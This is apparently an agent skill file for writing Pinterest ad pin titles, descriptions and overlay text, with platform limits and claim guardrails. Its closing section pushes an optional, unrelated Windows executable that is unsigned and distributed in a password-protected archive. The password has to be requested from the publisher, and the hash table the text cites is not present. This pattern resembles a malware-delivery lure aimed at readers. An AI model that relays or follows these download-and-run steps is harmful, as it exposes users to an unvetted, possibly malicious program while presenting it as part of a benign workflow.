Pinterest Ads Pin Copy

Fills a pin title and description template from a product sheet so the search keyword lands in the first 40 characters Pinterest shows in the feed. Written for US ecommerce brands and affiliate publishers buying Pinterest ads.

Use this skill when someone asks for:

• pinterest ads pin copy
• pinterest pin title character limit
• pinterest ad description 500 characters
• pinterest keyword first 40 characters

The job

Teams write pin titles for the search engine and put the keyword at the end, so the feed shows a headline that says nothing about the pin.

What you get

1. Collect the product, the primary keyword, the benefit and the offer from the product sheet.
2. Write the title with the keyword inside the first 40 characters and the benefit after it.
3. Write the description with two sentences of value and one line of terms.
4. Check the pin against the image ratio the account uses and the claims the team can prove.

Output contract:

• pin_title - one title within 100 characters with the keyword in the first 40
• pin_description - one description within the 500 character ad limit
• overlay_text - the text burned into the image, ten words or fewer
• destination - the landing URL with the campaign parameters attached
• claim_checks - every price and comparison paired with the source the team must supply

US specifics that matter

• Pinterest ad titles accept up to 100 characters and only the first 40 characters show in people's feeds.
• Pinterest ad descriptions accept up to 500 characters, while the Pin API allows up to 800 characters in a Pin description.
• Pinterest recommends a 2:3 aspect ratio, 1000 x 1500 pixels, for standard image ads, and carousels hold 2 to 5 images.
• Pinterest's own guidance notes that descriptions do not appear in the home or search feed, so the title carries the click.

Guardrails (hard rules)

• Never use another brand's trademark in a pin title or description to win the search.
• Never claim a discount, a price or a result that the product sheet does not support.
• Never copy a competitor's pin copy or republish a creator's pin without permission.
• Never schedule or publish a pin from the user's account.

Quickstart

1. Fill in the brief

templates/pin-copy.md is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/render_pin_copy.py --input pin-copy.md --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/pinterest-ad-specs.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Limits and what shows

• Title up to 100 characters, with the first 40 characters shown in the feed.
• Ad description up to 500 characters; the Pin API allows 800.
• Descriptions do not appear in the home feed or the search feed.
• Standard image ads: 2:3 ratio, 1000 x 1500 pixels; carousels: 2 to 5 images.

Writing the title

• Lead with the phrase a planner would type, not with the brand name.
• Put the outcome after the keyword, not before it.
• Headline case reads better in the feed than sentence case.

Claims and destination

• A sale price, a limited offer and a comparison are advertising claims and need a source.
• The destination has to match the promise in the pin.
• The Pinterest conversion tag has to fire on the landing page or the campaign reports nothing.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.
